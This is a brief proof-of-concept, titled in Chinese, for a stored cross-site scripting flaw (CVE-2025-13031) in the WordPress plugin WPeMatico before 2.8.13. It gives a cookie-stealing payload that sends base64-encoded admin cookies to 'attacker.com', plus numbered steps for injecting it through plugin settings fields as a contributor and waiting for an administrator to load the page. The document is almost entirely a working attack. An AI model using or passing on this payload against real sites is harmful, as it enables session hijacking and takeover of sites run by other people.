CVE-2025-13031 WPeMatico插件存储型XSS漏洞

// CVE-2025-13031 WPeMatico Stored XSS PoC // This PoC demonstrates the stored XSS vulnerability in WPeMatico plugin < 2.8.13 // Requires contributor+ privileges // Attacker injects the following payload in plugin settings fields: // <script>alert(document.cookie)</script> // or more sophisticated payload for session hijacking: var poc_payload = ` <img src=x onerror=" fetch('https://attacker.com/steal?c='+btoa(document.cookie)) "> `; // The payload is stored in database without sanitization // When admin visits the affected page, the script executes // Example exploitation steps: // 1. Login as contributor user // 2. Navigate to WPeMatico settings // 3. Inject XSS payload in settings fields (e.g., campaign title, feed URL) // 4. Save the settings - payload gets stored // 5. Wait for admin to view the settings page // 6. Attacker receives admin cookies via webhook